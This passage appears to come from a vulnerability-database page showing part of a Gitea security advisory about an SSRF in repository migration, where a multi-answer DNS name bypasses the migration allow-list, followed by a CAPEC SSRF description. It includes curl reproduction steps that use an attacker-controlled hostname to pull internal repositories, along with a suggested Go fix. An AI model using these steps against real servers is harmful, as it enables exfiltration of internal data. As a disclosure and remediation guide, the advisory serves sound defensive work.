return both a public address and `127.0.0.1`, or can return a public address during Gitea\u0027s pre-flight validation and `127.0.0.1` during the later git clone.\n5. Confirm the direct internal migration is rejected:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n  -H \"Authorization: token USER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"http://127.0.0.1:18082/repo.git\",\n    \"repo_name\": \"direct-internal\",\n    \"service\": \"git\",\n    \"private\": true\n  }\u0027\n```\n\nExpected direct result:\n\n```json\n{\"message\":\"You can not import from disallowed hosts.\"}\n```\n\n6. Start a migration from the attacker-controlled multi-answer hostname:\n\n```bash\ncurl -X POST http://GITEA/api/v1/repos/migrate \\\n  -H \"Authorization: token USER_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"clone_addr\": \"http://mixed.example.test:18082/repo.git\",\n    \"repo_name\": \"multidns-ssrf\",\n    \"service\": \"git\",\n    \"private\": true\n  }\u0027\n```\n\nExpected vulnerable result:\n\n- The migration request is accepted.\n- The git subprocess can connect to the internal address.\n- Internal repository contents are imported into the attacker\u0027s new Gitea repository.\n\n### Impact\n\nThis is a server-side request forgery in repository migration.\n\nAn authenticated user with permission to create repository migrations can make the Gitea server connect to internal-only network resources that are normally blocked by the migration SSRF filter. If the internal service is a Git repository or Git-compatible HTTP endpoint, its contents can be imported into an attacker-controlled repository and exfiltrated.\n\nPotentially impacted resources include:\n\n- internal Git repositories\n- localhost-only services\n- private network source-control services\n- metadata or internal infrastructure endpoints if reachable and compatible with the request path\n\nThe direct internal destination is rejected, but a multi-answer or rebindable DNS name can pass validation and later resolve to the internal address during the clone operation.\n\n### Suggested fix\n\nThe migration allow/block-list check should fail closed for multi-answer DNS:\n\n- reject if **any** resolved IP is blocked\n- require **all** resolved IPs to be allowed when an allow-list is active\n- treat an empty resolution result as not IP-allowed\n- ideally enforce the same destination policy at connection time, not only during pre-flight validation, to avoid DNS TOCTOU between validation and `git clone`\n\nFor example, instead of `ipAllowed = ipAllowed || allowList.MatchIPAddr(addr)`, initialize `ipAllowed` to `len(addrList) \u003e 0` and combine with logical AND:\n\n```go\nipAllowed := len(addrList) \u003e 0\nipBlocked := false\nfor _, addr := range addrList {\n    ipAllowed = ipAllowed \u0026\u0026 allowList.MatchIPAddr(addr)\n    ipBlocked = ipBlocked || blockList.MatchIPAddr(addr)\n}\n```",
  "id": "GHSA-h2x6-g7q6-344v",
  "modified": "2026-07-21T20:37:45Z",
  "published": "2026-07-21T20:37:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-h2x6-g7q6-344v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Repository migration SSRF via multi-answer DNS allow-list bypass"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list